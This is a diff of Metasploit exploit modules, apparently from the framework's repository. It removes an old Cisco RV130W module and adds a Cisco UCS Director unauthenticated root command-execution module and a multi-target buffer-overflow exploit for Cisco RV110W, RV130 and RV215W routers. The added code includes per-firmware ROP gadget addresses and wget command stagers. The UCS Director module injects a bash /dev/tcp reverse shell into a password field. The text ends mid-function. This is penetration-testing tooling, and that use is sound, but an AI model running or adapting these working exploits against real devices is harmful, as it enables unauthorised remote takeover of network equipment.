print_status("Skipping table (#{i + 1}/#{num_tables}): #{table}")
|
||||
else
|
||||
print_status("Dumping table (#{i + 1}/#{num_tables}): #{table}")
|
||||
table_data = walk_table(table)
|
||||
save_csv(table_data, table)
|
||||
end
|
||||
end
|
||||
print_status("Dumped all tables to #{Msf::Config.loot_directory}")
|
||||
end
|
||||
|
||||
def run
|
||||
dump_all
|
||||
end
|
||||
end
|
||||
@@ -1,150 +0,0 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
# linux/armle/meterpreter/bind_tcp -> segfault
|
||||
# linux/armle/meterpreter/reverse_tcp -> segfault
|
||||
# linux/armle/meterpreter_reverse_http -> works
|
||||
# linux/armle/meterpreter_reverse_https -> works
|
||||
# linux/armle/meterpreter_reverse_tcp -> works
|
||||
# linux/armle/shell/bind_tcp -> segfault
|
||||
# linux/armle/shell/reverse_tcp -> segfault
|
||||
# linux/armle/shell_bind_tcp -> segfault
|
||||
# linux/armle/shell_reverse_tcp -> segfault
|
||||
#
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Cisco RV130W Routers Management Interface Remote Command Execution',
|
||||
'Description' => %q{
|
||||
A vulnerability in the web-based management interface of the Cisco RV130W Wireless-N Multifunction VPN Router
|
||||
could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device.
|
||||
|
||||
The vulnerability is due to improper validation of user-supplied data in the web-based management interface.
|
||||
An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device.
|
||||
|
||||
A successful exploit could allow the attacker to execute arbitrary code on the underlying operating
|
||||
system of the affected device as a high-privilege user.
|
||||
|
||||
RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected.
|
||||
|
||||
Note: successful exploitation may not result in a session, and as such,
|
||||
on_new_session will never repair the HTTP server, leading to a denial-of-service condition.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Yu Zhang', # Initial discovery (GeekPwn conference)
|
||||
'Haoliang Lu', # Initial discovery (GeekPwn conference)
|
||||
'T. Shiomitsu', # Initial discovery (Pen Test Partners)
|
||||
'Quentin Kaiser <kaiserquentin@gmail.com>' # Vulnerability analysis & exploit dev
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => %w[linux],
|
||||
'Arch' => [ARCH_ARMLE],
|
||||
'SessionTypes' => %w[meterpreter],
|
||||
'CmdStagerFlavor' => %w{ wget },
|
||||
'Privileged' => true, # BusyBox
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2019-1663'],
|
||||
['BID', '107185'],
|
||||
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-rmi-cmd-ex'],
|
||||
['URL', 'https://www.pentestpartners.com/security-blog/cisco-rv130-its-2019-but-yet-strcpy/']
|
||||
],
|
||||
'DefaultOptions' => {
|
||||
'WfsDelay' => 10,
|
||||
'SSL' => true,
|
||||
'RPORT' => 443,
|
||||
'CMDSTAGER::FLAVOR' => 'wget',
|
||||
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp',
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Cisco RV130/RV130W < 1.0.3.45',
|
||||
{
|
||||
'offset' => 446,
|
||||
'libc_base_addr' => 0x357fb000,
|
||||
'system_offset' => 0x0004d144,
|
||||
'gadget1' => 0x00020e79, # pop {r2, r6, pc};
|
||||
'gadget2' => 0x00041308, # mov r0, sp; blx r2;
|
||||
'Arch' => ARCH_ARMLE,
|
||||
}
|
||||
],
|
||||
],
|
||||
'DisclosureDate' => 'Feb 27 2019',
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_SERVICE_DOWN, ],
|
||||
},
|
||||
))
|
||||
end
|
||||
|
||||
def p(offset)
|
||||
[(target['libc_base_addr'] + offset).to_s(16)].pack('H*').reverse
|
||||
end
|
||||
|
||||
def prepare_shellcode(cmd)
|
||||
#All these gadgets are from /lib/libc.so.0
|
||||
shellcode = rand_text_alpha(target['offset']) + # filler
|
||||
p(target['gadget1']) +
|
||||
p(target['system_offset']) + # r2
|
||||
rand_text_alpha(4) + # r6
|
||||
p(target['gadget2']) + # pc
|
||||
cmd
|
||||
shellcode
|
||||
end
|
||||
|
||||
def send_request(buffer)
|
||||
begin
|
||||
send_request_cgi({
|
||||
'uri' => '/login.cgi',
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
"submit_button": "login",
|
||||
"submit_type": "",
|
||||
"gui_action": "",
|
||||
"wait_time": 0,
|
||||
"change_action": "",
|
||||
"enc": 1,
|
||||
"user": rand_text_alpha_lower(5),
|
||||
"pwd": buffer,
|
||||
"sel_lang": "EN"
|
||||
}
|
||||
})
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status('Sending request')
|
||||
execute_cmdstager
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
shellcode = prepare_shellcode(cmd.to_s)
|
||||
send_request(shellcode)
|
||||
end
|
||||
|
||||
def on_new_session(session)
|
||||
# Given there is no process continuation here, the httpd server will stop
|
||||
# functioning properly and we need to take care of proper restart
|
||||
# ourselves.
|
||||
print_status("Reloading httpd service")
|
||||
reload_httpd_service = "killall httpd && cd /www && httpd && httpd -S"
|
||||
if session.type.to_s.eql? 'meterpreter'
|
||||
session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi'
|
||||
session.sys.process.execute '/bin/sh', "-c \"#{reload_httpd_service}\""
|
||||
else
|
||||
session.shell_command(reload_httpd_service)
|
||||
end
|
||||
ensure
|
||||
super
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,148 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Cisco UCS Director Unauthenticated Remote Code Execution',
|
||||
'Description' => %q{
|
||||
The Cisco UCS Director virtual appliance contains two flaws that can be combined
|
||||
and abused by an attacker to achieve remote code execution as root.
|
||||
The first one, CVE-2019-1937, is an authentication bypass, that allows the
|
||||
attacker to authenticate as an administrator.
|
||||
The second one, CVE-2019-1936, is a command injection in a password change form,
|
||||
that allows the attacker to inject commands that will execute as root.
|
||||
This module combines both vulnerabilities to achieve the unauthenticated command
|
||||
injection as root.
|
||||
It has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0.
|
||||
Note that Cisco also mentions in their advisory that their IMC Supervisor and
|
||||
UCS Director Express are also affected by these vulnerabilities, but this module
|
||||
was not tested with those products.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2019-1937' ], # auth bypass
|
||||
[ 'CVE', '2019-1936' ], # command injection
|
||||
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-authby' ],
|
||||
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-cmdinj' ],
|
||||
[ 'URL', 'FULL_DISC' ],
|
||||
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt' ]
|
||||
],
|
||||
'Platform' => 'unix',
|
||||
'Arch' => ARCH_CMD,
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'payload' => 'cmd/unix/reverse_bash',
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Cisco UCS Director < 6.7.2.0', {} ],
|
||||
],
|
||||
'Privileged' => true,
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Aug 21 2019'
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptBool.new('SSL', [true, 'Connect with TLS', true]),
|
||||
OptString.new('TARGETURI', [true, "Default server path", '/']),
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
# can't think of anything better then this
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'login'),
|
||||
'method' => 'GET'
|
||||
})
|
||||
if res and res.code == 302
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
def exploit
|
||||
# step 1: get a JSESSIONID cookie
|
||||
res = send_request_cgi(
|
||||
'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'login'),
|
||||
'method' => 'GET'
|
||||
)
|
||||
|
||||
if res and (res.code == 200 or res.code == 302)
|
||||
jsession = res.get_cookies.split(';')[0]
|
||||
|
||||
# step 2: authenticate our cookie as admin
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'ClientServlet'),
|
||||
'cookie' => jsession,
|
||||
'vars_get' =>
|
||||
{
|
||||
'apiName' => 'GetUserInfo'
|
||||
},
|
||||
'headers' =>
|
||||
{
|
||||
# X-Requested-With and Referer headers are needed, else the server ignores us
|
||||
# The X-Starship headers are the key to this auth bypass vuln, see the References
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'Referer' => "https://#{rhost}#{rport == 443 ? "" : ":" + rport}/",
|
||||
'X-Starship-UserSession-Key' => "#{rand_text_alpha(5..12)}",
|
||||
'X-Starship-Request-Key' => "#{rand_text_alpha(5..12)}"
|
||||
},
|
||||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.body.include?("admin")
|
||||
if not res.get_cookies.empty?
|
||||
# if the server returns a new cookie, use that
|
||||
jsession = res.get_cookies.split(';')[0]
|
||||
end
|
||||
print_good("#{peer} - Successfully bypassed auth and got our admin JSESSIONID cookie!")
|
||||
|
||||
# step 3: request our reverse shell
|
||||
payload = %{{"param0":"admin","param1":{"ids":null,"targetCuicId":null,"uiMenuTag":23,"cloudName":null,"filterId":null,"id":null,"type":10},"param2":"scpUserConfig","param3":[{"fieldId":"FIELD_ID_USERNAME","value":"scpuser"},{"fieldId":"FIELD_ID_DESCRIPTION","value":"The 'scpuser' will be configured on this appliance in order to enable file transfer operations via the 'scp' command. This user account cannot be used to login to the GUI or shelladmin."},{"fieldId":"FIELD_ID_PASSWORD","value":"`bash -i >& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1 &``"}]}}
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'ClientServlet'),
|
||||
'cookie' => jsession,
|
||||
'headers' =>
|
||||
{
|
||||
# X-Requested-With and Referer headers are needed, else the server ignores us
|
||||
# The X-Starship headers are the key to this auth bypass vuln, see the References
|
||||
'X-Requested-With' => 'XMLHttpRequest',
|
||||
'Referer' => "https://#{rhost}#{rport == 443 ? "" : ":" + rport}/",
|
||||
},
|
||||
'method' => 'POST',
|
||||
'vars_post' =>
|
||||
{
|
||||
'formatType' => 'json',
|
||||
'apiName' => 'ExecuteGenericOp',
|
||||
'serviceName' => 'InfraMgr',
|
||||
'opName' => 'doFormSubmit',
|
||||
'opData' => payload
|
||||
}
|
||||
})
|
||||
if res and res.code == 200
|
||||
print_good("#{peer} - Shelly is here, press ENTER to start playing with her!")
|
||||
end
|
||||
else
|
||||
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate JSESSIONID cookie")
|
||||
end
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to obtain JSESSIONID cookie")
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,423 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
# linux/armle/meterpreter/bind_tcp -> segfault
|
||||
# linux/armle/meterpreter/reverse_tcp -> segfault
|
||||
# linux/armle/meterpreter_reverse_http -> works
|
||||
# linux/armle/meterpreter_reverse_https -> works
|
||||
# linux/armle/meterpreter_reverse_tcp -> works
|
||||
# linux/armle/shell/bind_tcp -> segfault
|
||||
# linux/armle/shell/reverse_tcp -> segfault
|
||||
# linux/armle/shell_bind_tcp -> segfault
|
||||
# linux/armle/shell_reverse_tcp -> segfault
|
||||
#
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
include Msf::Exploit::Deprecated
|
||||
|
||||
moved_from 'exploit/linux/http/cisco_rv130_rmi_rce'
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Cisco RV110W/RV130(W)/RV215W Routers Management Interface Remote Command Execution',
|
||||
'Description' => %q{
|
||||
A vulnerability in the web-based management interface of the Cisco RV110W Wireless-N VPN Firewall,
|
||||
Cisco RV130W Wireless-N Multifunction VPN Router, and Cisco RV215W Wireless-N VPN Router
|
||||
could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device.
|
||||
|
||||
The vulnerability is due to improper validation of user-supplied data in the web-based management interface.
|
||||
An attacker could exploit this vulnerability by sending malicious HTTP requests to a targeted device.
|
||||
|
||||
A successful exploit could allow the attacker to execute arbitrary code on the underlying operating
|
||||
system of the affected device as a high-privilege user.
|
||||
|
||||
RV110W Wireless-N VPN Firewall versions prior to 1.2.2.1 are affected.
|
||||
RV130W Wireless-N Multifunction VPN Router versions prior to 1.0.3.45 are affected.
|
||||
RV215W Wireless-N VPN Router versions prior to 1.3.1.1 are affected.
|
||||
|
||||
Note: successful exploitation may not result in a session, and as such,
|
||||
on_new_session will never repair the HTTP server, leading to a denial-of-service condition.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Yu Zhang', # Initial discovery (GeekPwn conference)
|
||||
'Haoliang Lu', # Initial discovery (GeekPwn conference)
|
||||
'T. Shiomitsu', # Initial discovery (Pen Test Partners)
|
||||
'Quentin Kaiser <kaiserquentin@gmail.com>' # Vulnerability analysis & exploit dev
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => %w[linux],
|
||||
'Arch' => [ARCH_ARMLE, ARCH_MIPSLE],
|
||||
'SessionTypes' => %w[meterpreter],
|
||||
'CmdStagerFlavor' => %w{ wget },
|
||||
'Privileged' => true, # BusyBox
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2019-1663'],
|
||||
['BID', '107185'],
|
||||
['URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190227-rmi-cmd-ex'],
|
||||
['URL', 'https://www.pentestpartners.com/security-blog/cisco-rv130-its-2019-but-yet-strcpy/']
|
||||
],
|
||||
'DefaultOptions' => {
|
||||
'WfsDelay' => 10,
|
||||
'SSL' => true,
|
||||
'RPORT' => 443,
|
||||
'CMDSTAGER::FLAVOR' => 'wget',
|
||||
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Cisco RV110W 1.1.0.9',
|
||||
{
|
||||
'offset' => 69,
|
||||
'libc_base_addr' => 0x2af06000,
|
||||
'libcrypto_base_addr' => 0x2ac01000,
|
||||
'system_offset' => 0x00050d40,
|
||||
'got_offset' => 0x0009d560,
|
||||
# gadget 1 is in /usr/lib/libcrypto.so
|
||||
'gadget1' => 0x00167c8c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
|
||||
'Arch' => ARCH_MIPSLE,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
|
||||
}
|
||||
}
|
||||
],
|
||||
[ 'Cisco RV110W 1.2.0.9',
|
||||
{
|
||||
'offset' => 69,
|
||||
'libc_base_addr' => 0x2af08000,
|
||||
'libcrypto_base_addr' => 0x2ac03000,
|
||||
'system_offset' => 0x0004c7e0,
|
||||
'got_offset' => 0x00098db0,
|
||||
# gadget 1 is in /usr/lib/libcrypto.so
|
||||
'gadget1' => 0x00167c4c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
|
||||
'Arch' => ARCH_MIPSLE,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
|
||||
}
|
||||
}
|
||||
],
|
||||
[ 'Cisco RV110W 1.2.0.10',
|
||||
{
|
||||
'offset' => 69,
|
||||
'libc_base_addr' => 0x2af09000,
|
||||
'libcrypto_base_addr' => 0x2ac04000,
|
||||
'system_offset' => 0x0004c7e0,
|
||||
'got_offset' => 0x00098db0,
|
||||
# gadget 1 is in /usr/lib/libcrypto.so
|
||||
'gadget1' => 0x00151fbc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
|
||||
'Arch' => ARCH_MIPSLE,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
|
||||
}
|
||||
}
|
||||
],
|
||||
[ 'Cisco RV110W 1.2.1.4',
|
||||
{
|
||||
'offset' => 69,
|
||||
'libc_base_addr' => 0x2af54000,
|
||||
'libcrypto_base_addr' => 0x2ac4f000,
|
||||
'system_offset' => 0x0004c7e0,
|
||||
'got_offset' => 0x00098db0,
|
||||
# gadget 1 is in /usr/lib/libcrypto.so
|
||||
'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
|
||||
'Arch' => ARCH_MIPSLE,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
|
||||
}
|
||||
}
|
||||
],
|
||||
[ 'Cisco RV110W 1.2.1.7',
|
||||
{
|
||||
'offset' => 69,
|
||||
'libc_base_addr' => 0x2af98000,
|
||||
'libcrypto_base_addr' => 0x2ac4f000,
|
||||
'system_offset' => 0x0004c7e0,
|
||||
'got_offset' => 0x00098db0,
|
||||
# gadget 1 is in /usr/lib/libcrypto.so
|
||||
'gadget1' => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
|
||||
'Arch' => ARCH_MIPSLE,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
|
||||
}
|
||||
}
|
||||
],
|
||||
[ 'Cisco RV130/RV130W < 1.0.3.45',
|
||||
{
|
||||
'offset' => 446,
|
||||
'libc_base_addr' => 0x357fb000,
|
||||
'system_offset' => 0x0004d144,
|
||||
'gadget1' => 0x00020e79, # pop {r2, r6, pc};
|
||||
'gadget2' => 0x00041308, # mov r0, sp; blx r2;
|
||||
'Arch' => ARCH_ARMLE,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp',
|
||||
}
|
||||
},
|
||||
],
|
||||
[ 'Cisco RV215W 1.1.0.5',
|
||||
{
|
||||
'offset' => 69,
|
||||
'libc_base_addr' => 0x2af59000,
|
||||
'libcrypto_base_addr' => 0x2ac54000,
|
||||
'system_offset' => 0x0004c7e0,
|
||||
'got_offset' => 0x00098db0,
|
||||
# gadget 1 is in /usr/lib/libcrypto.so
|
||||
'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
|
||||
'Arch' => ARCH_MIPSLE,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
|
||||
}
|
||||
}
|
||||
],
|
||||
[ 'Cisco RV215W 1.1.0.6',
|
||||
{
|
||||
'offset' => 69,
|
||||
'libc_base_addr' => 0x2af59000,
|
||||
'libcrypto_base_addr' => 0x2ac54000,
|
||||
'system_offset' => 0x0004c7e0,
|
||||
'got_offset' => 0x00098db0,
|
||||
# gadget 1 is in /usr/lib/libcrypto.so
|
||||
'gadget1' => 0x00151fbc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
|
||||
'Arch' => ARCH_MIPSLE,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
|
||||
}
|
||||
}
|
||||
],
|
||||
[ 'Cisco RV215W 1.2.0.14',
|
||||
{
|
||||
'offset' => 69,
|
||||
'libc_base_addr' => 0x2af5f000,
|
||||
'libcrypto_base_addr' => 0x2ac5a001,
|
||||
'system_offset' => 0x0004c7e0,
|
||||
'got_offset' => 0x00098db0,
|
||||
# gadget 1 is in /usr/lib/libcrypto.so
|
||||
'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
|
||||
'Arch' => ARCH_MIPSLE,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
|
||||
}
|
||||
}
|
||||
],
|
||||
[ 'Cisco RV215W 1.2.0.15',
|
||||
{
|
||||
'offset' => 69,
|
||||
'libc_base_addr' => 0x2af5f000,
|
||||
'libcrypto_base_addr' => 0x2ac5a000,
|
||||
'system_offset' => 0x0004c7e0,
|
||||
'got_offset' => 0x00098db0,
|
||||
# gadget 1 is in /usr/lib/libcrypto.so
|
||||
'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
|
||||
'Arch' => ARCH_MIPSLE,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
|
||||
}
|
||||
}
|
||||
],
|
||||
[ 'Cisco RV215W 1.3.0.7',
|
||||
{
|
||||
'offset' => 77,
|
||||
'libc_base_addr' => 0x2afeb000,
|
||||
'libcrypto_base_addr' => 0x2aca5000,
|
||||
'system_offset' => 0x0004c7e0,
|
||||
'got_offset' => 0x000a0530,
|
||||
# gadget 1 is in /usr/lib/libcrypto.so
|
||||
'gadget1' => 0x00057bec, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
|
||||
'Arch' => ARCH_MIPSLE,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
|
||||
}
|
||||
}
|
||||
],
|
||||
[ 'Cisco RV215W 1.3.0.8',
|
||||
{
|
||||
'offset' => 77,
|
||||
'libc_base_addr' => 0x2afee000,
|
||||
'libcrypto_base_addr' => 0x2aca5000,
|
||||
'system_offset' => 0x0004c7e0,
|
||||
'got_offset' => 0x000a0530,
|
||||
# gadget 1 is in /usr/lib/libcrypto.so
|
||||
'gadget1' => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0;
|
||||
'Arch' => ARCH_MIPSLE,
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp',
|
||||
}
|
||||
}
|
||||
],
|
||||
],
|
||||
'DisclosureDate' => 'Feb 27 2019',
|
||||
'DefaultTarget' => 0,
|
||||
'Notes' => {
|
||||
'Stability' => [ CRASH_SERVICE_DOWN, ],
|
||||
},
|
||||
))
|
||||
end
|
||||
|
||||
def p(lib, offset)
|
||||
[(lib + offset).to_s(16)].pack('H*').reverse
|
||||
end
|
||||
|
||||
def prepare_shellcode(cmd)
|
||||
case target
|
||||
# RV110W 1.1.0.9, 1.2.0.9, 1.2.0.10, 1.2.1.4, 1.2.1.7
|
||||
# RV215W 1.1.0.5, 1.1.0.6, 1.2.0.14, 1.2.0.15, 1.3.0.7, 1.3.0.8
|
||||
when targets[0], targets[1], targets[2], targets[3], targets[4], targets[6], targets[7], targets[8], targets[9], targets[10], targets[11]
|
||||
shellcode = rand_text_alpha(target['offset']) + # filler
|
||||
rand_text_alpha(4) + # $s0
|
||||
rand_text_alpha(4) + # $s1
|
||||
rand_text_alpha(4) + # $s2
|
||||
rand_text_alpha(4) + # $s3
|
||||
p(target['libc_base_addr'], target['system_offset']) + # $s4
|
||||
rand_text_alpha(4) + # $s5
|
||||
rand_text_alpha(4) + # $s6
|
||||
rand_text_alpha(4) + # $s7
|
||||
rand_text_alpha(4) + # $s8
|
||||
p(target['libcrypto_base_addr'], target['gadget1']) + # $ra
|
||||
p(target['libc_base_addr'], target['got_offset']) +
|
||||
rand_text_alpha(28) +
|
||||
cmd
|
||||
shellcode
|
||||
when targets[5] # RV130/RV130W
|
||||
shellcode = rand_text_alpha(target['offset']) + # filler
|
||||
p(target['libc_base_addr'], target['gadget1']) +
|
||||
p(target['libc_base_addr'], target['system_offset']) + # r2
|
||||
rand_text_alpha(4) + # r6
|
||||
p(target['libc_base_addr'], target['gadget2']) + # pc
|
||||
cmd
|
||||
shellcode
|
||||
end
|
||||
end
|
||||
|
||||
def send_request(buffer)
|
||||
begin
|
||||
send_request_cgi({
|
||||
'uri' => '/login.cgi',
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
"submit_button": "login",
|
||||
"submit_type": "",
|
||||
"gui_action": "",
|
||||
"wait_time": 0,
|
||||
"change_action": "",
|
||||
"enc": 1,
|
||||
"user": rand_text_alpha_lower(5),
|
||||
"pwd": buffer,
|
||||
"sel_lang": "EN"
|
||||
}
|
||||
})
|
||||
rescue ::Rex::ConnectionError
|
||||
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
|
||||
# We fingerprint devices using SHA1 hash of a web resource accessible to unauthenticated users.
|
||||
# We use lang_pack/EN.js because it's the one file that changes the most between versions.
|
||||
# Note that it's not a smoking gun given that some branches keep the exact same files in /www
|
||||
# (see RV110 branch 1.2.1.x/1.2.2.x, RV130 > 1.0.3.22, RV215 1.2.0.x/1.3.x)
|
||||
|
||||
fingerprints = {
|
||||
"69d906ddd59eb6755a7b9c4f46ea11cdaa47c706" => {
|
||||
"version" => "Cisco RV110W 1.1.0.9",
|
||||
"status" =>Exploit::CheckCode::Vulnerable
|
||||
},
|
||||
"8d3b677d870425198f7fae94d6cfe262551aa8bd" => {
|
||||
"version" => "Cisco RV110W 1.2.0.9",
|
||||
"status" => Exploit::CheckCode::Vulnerable
|
||||
},
|
||||
"134ee643ec877641030211193a43cc5e93c96a06" => {
|
||||
"version" => "Cisco RV110W 1.2.0.10",
|
||||
"status" => Exploit::CheckCode::Vulnerable
|
||||
},
|
||||
"e3b2ec9d099a3e3468f8437e5247723643ff830e" => {
|
||||
"version" => "Cisco RV110W 1.2.1.4, 1.2.1.7, 1.2.2.1 (not vulnerable), 1.2.2.4 (not vulnerable)",
|
||||
"status" => Exploit::CheckCode::Unknown
|
||||
},
|
||||
"6b7b1e8097e8dda26db27a09b8176b9c32b349b3" => {
|
||||
"version" => "Cisco RV130/RV130W 1.0.0.21",
|
||||
"status" => Exploit::CheckCode::Vulnerable
|
||||
},
|
||||
"9b1a87b752d11c5ba97dd80d6bae415532615266" => {
|
||||
"version" => "Cisco RV130/RV130W 1.0.1.3",
|
||||
"status" => Exploit::CheckCode::Vulnerable
|
||||
},
|
||||
"9b6399842ef69cf94409b65c4c61017c862b9d09" => {
|
||||
"version" => "Cisco RV130/RV130W 1.0.2.7",
|
||||
"status" => Exploit::CheckCode::Vulnerable
|
||||
},
|
||||
"8680ec6df4f8937acd3505a4dd36d40cb02c2bd6" => {
|
||||
"version" => "Cisco RV130/RV130W 1.0.3.14, 1.0.3.16",
|
||||
"status" => Exploit::CheckCode::Vulnerable
|
||||
},
|
||||
"8c8e05de96810a02344d96588c09b21c491ede2d" => {
|
||||
"version" => "Cisco RV130/RV130W 1.0.3.22, 1.0.3.28, 1.0.3.44, 1.0.3.45 (not vulnerable), 1.0.3.51 (not vulnerable)",
|
||||
"status" => Exploit::CheckCode::Unknown
|
||||
},
|
||||
"2f29a0dfa78063d643eb17388e27d3f804ff6765" => {
|
||||
"version" => "Cisco RV215W 1.1.0.5",
|
||||
"status" => Exploit::CheckCode::Vulnerable
|
||||
},
|
||||
"e5cc84d7c9c2d840af85d5f25cee33baffe3ca6f" => {
|
||||
"version" => "Cisco RV215W 1.1.0.6",
|
||||
"status" => Exploit::CheckCode::Vulnerable
|
||||
},
|
||||
"7cc8fcce5949a68c31641c38255e7f6ed31ff4db" => {
|
||||
"version" => "Cisco RV215W 1.2.0.14 or 1.2.0.15",
|
||||
"status" => Exploit::CheckCode::Vulnerable
|
||||
},
|
||||
"050d47ea944eaeadaec08945741e8e380f796741" => {
|
||||
"version" => "Cisco RV215W 1.3.0.7 or 1.3.0.8, 1.3.1.1 (not vulnerable), 1.3.1.4 (not vulnerable)",
|
||||
"status" => Exploit::CheckCode::Unknown
|
||||
}
|
||||
}
|
||||
|
||||
uri = target_uri.path
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(uri, 'lang_pack/EN.js')
|
||||
})
|
||||
if res && res.code == 200
|
||||
fingerprint = Digest::SHA1.hexdigest("#{res.body.to_s}")
|
||||
